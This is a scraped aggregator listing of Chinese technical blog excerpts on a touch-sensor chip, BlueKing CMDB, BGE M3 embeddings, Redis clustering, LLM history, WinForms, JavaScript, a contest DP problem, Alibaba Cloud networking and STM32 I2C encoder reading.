VK3602K SOP8抗干扰2键/2路/2按键/2通道触摸感应芯片,应用于加湿器触摸IC等大小家电产品

产品品牌:永嘉微电/VINKA 产品型号:VK3602K 封装形式:SOP8 概述 VK3602K具有2个触摸按键,可用来检测外部触摸按键上人手的触摸动作。该芯片具有较高的集成度,仅需极少的外部组件便可实现触摸按键的检测。 提供了2路直接输出功能,可通过IO脚选择输出电平。芯片内部采用特殊…

【运维自动化-配置平台】如何创建业务及拓扑(集群-模块)

业务&#xff0c;是蓝鲸 CD 体系中比较重要的概念和维度&#xff0c;日常使用中主机、进程、业务拓扑的管理都需要依赖已经存在的业务&#xff0c;其他蓝鲸体系产品也基本上都是围绕业务的维度来提供对应的服务和相关的鉴权。1、创建业务/业务集 请确保有创建业务的权限&#…

BGE M3-Embedding 模型介绍

BGE M3-Embedding是BAAI开源的embedding模型,支持多语言,多粒度,多功能检索,本文介绍模型的相关信息BGE M3-Embedding来自BAAI和中国科学技术大学,是BAAI开源的模型。相关论文在https://arxiv.org/abs/2402.03216,论文提出了一种新的embedding模型,称为M3-Embedding,它…

redis自学(37)集群伸缩

集群伸缩 添加一个节点到集群: Redis-cli--cluster提供了很多操作集群的命令,可以通过下面方式查看:比如,添加节点的命令先输入新增的ip和端口号,后输入集群已经有的ip和端口号好指定添加到哪个集群。默认是增加master节点,加上--cluster-slave是变成了slave。--cluster-…

LLM-大模型演化分支树、GPT派发展阶段及训练流程图、Infini-Transformer说明

大模型是怎么演进的&#xff1f; Encoder Only: 对应粉色分支&#xff0c;即BERT派&#xff0c;典型模型&#xff1a; BERT 自编码模型&#xff08;Autoencoder Model&#xff09;&#xff1a;通过重建句子来进行预训练&#xff0c;通常用于理解任务&#xff0c;如文本分类和阅…

winform入门篇 第13章 菜单栏

菜单栏 本章内容 菜单栏 工具栏 右键菜单 重点是右键菜单的实现。 菜单栏 MenuStrip&#xff0c;支持可视化编辑 添加 MenuStrip 添加菜单、菜单项、分隔线给菜单项设置属性 —Name 字段名&#xff0c;Text 文本显示,Image:图标 给菜单项添加事件处理(双击即可) 1.添加菜单…

如何在HTML中使用JavaScript:从基础到高级的全面指南!

JavaScript是一种轻量级的编程语言,通常用于网页开发,以增强用户界面的交互性和动态性。然而在HTML中,有多种方法可以嵌入和使用JavaScript代码。本文就带大家深入了解如何在HTML中使用JavaScript。 一、使用 script 标签 要在HTML中使用JavaScript,我们需要使用<script…

蓝桥杯 2019 省A 糖果 动态规划/二进制

#include <bits/stdc.h> // 包含标准库中的所有头文件 using namespace std;int main() {int n,m,k; // 定义变量n&#xff08;糖果包数&#xff09;、m&#xff08;口味数&#xff09;、k&#xff08;每包糖果的个数&#xff09;cin>>n>>m>>k; // 输入…

高效便捷!解锁阿里云跨账号专线互联的全新实施方案

作者&#xff1a;小丫、琉璃 背景 为持续提升金融云环境的合规标准以及可用区内产品服务的性能和稳定性&#xff0c;阿里云将对杭州地域BCD三个金融云可用区进行基础设施架构升级与改造&#xff0c;对应可用区云产品将于 2024 年后停止服务&#xff0c;需要将业务迁移到新可用…

HAL STM32 I2C方式读取MT6701磁编码器获取角度例程

HAL STM32 I2C方式读取MT6701磁编码器获取角度例程 &#x1f4cd;相关篇《Arduino通过I2C驱动MT6701磁编码器并读取角度数据》&#x1f388;《STM32 软件I2C方式读取MT6701磁编码器获取角度例程》&#x1f4cc;MT6701当前最新文档资料&#xff1a;https://www.magntek.com.cn/u…